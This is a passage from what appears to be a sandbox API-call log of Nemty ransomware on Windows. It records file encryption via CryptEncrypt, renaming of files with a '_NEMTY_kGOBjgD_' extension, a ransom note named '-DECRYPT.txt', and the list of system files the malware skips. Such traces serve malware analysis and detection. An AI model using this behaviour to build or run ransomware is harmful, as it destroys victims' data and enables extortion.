Size=0x90) returned 0x6346d60 [0129.574] Sleep (dwMilliseconds=0x5) [0129.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe302d0, dwHighDateTime=0x1d561e8)) [0129.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe302d0, dwHighDateTime=0x1d561e8)) [0129.587] GetLastError () returned 0x12 [0129.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.587] GetLastError () returned 0x12 [0129.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.587] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0129.587] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0129.587] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0129.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0129.587] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="AwX3bA0VPlpVF5FDX8KmzpXkyAw03FGCjpgQQfbTADREpBXJ1NdCX6/huhFj/sBn\r\nBrLDjoTpvzT0OwJAV6/SPn47yZ+dqGoVgxdLtrp9Tz70LuBrcAhc53G4B2DincAa\r\nbJJyYQ0JI65/sF4hQOT4k0+5OV4hfTLsribpdvk8lWjigkVDJBNX8RfJcVvguQAe\r\n9LH4ZkuYZXo94sgZ2iVyHJv6a+fulL1YTSLvNmaDzp8za5QqtJSZVDeW9Mso10Ya\r\nJgjIlLeKo55pMZHe9kV1Go87RnpVAGxnbmlRvQIZ+9S06OSIERczHkQOeUTrv69/\r\nc7dVXTd/j8Bfwe/HQ+XcfQ==\r\n", pcchString=0x653ec5c) returned 1 [0129.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0129.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0129.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0129.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0129.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0129.588] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0129.588] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0129.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0129.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.672] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.698] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0129.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0129.704] CloseHandle (hObject=0xffffffff) returned 0 [0129.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0129.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0129.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\logo.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\logo.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\logo.png._nemty_kgobjgd_")) returned 0 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0129.704] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe997090, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfe997090, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfe9bd1f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0129.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0129.705] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0129.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0129.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0129.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0129.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0129.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0129.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0129.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0129.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0129.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0129.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0129.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0129.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0129.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.706] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe997090, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfe997090, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfe9bd1f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0129.706] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0129.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0129.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0129.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0129.706] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="MediaCenter.Gadget", cAlternateFileName="MEDIAC~1.GAD")) returned 1 [0129.706] lstrcmpiW (lpString1="MediaCenter.Gadget", 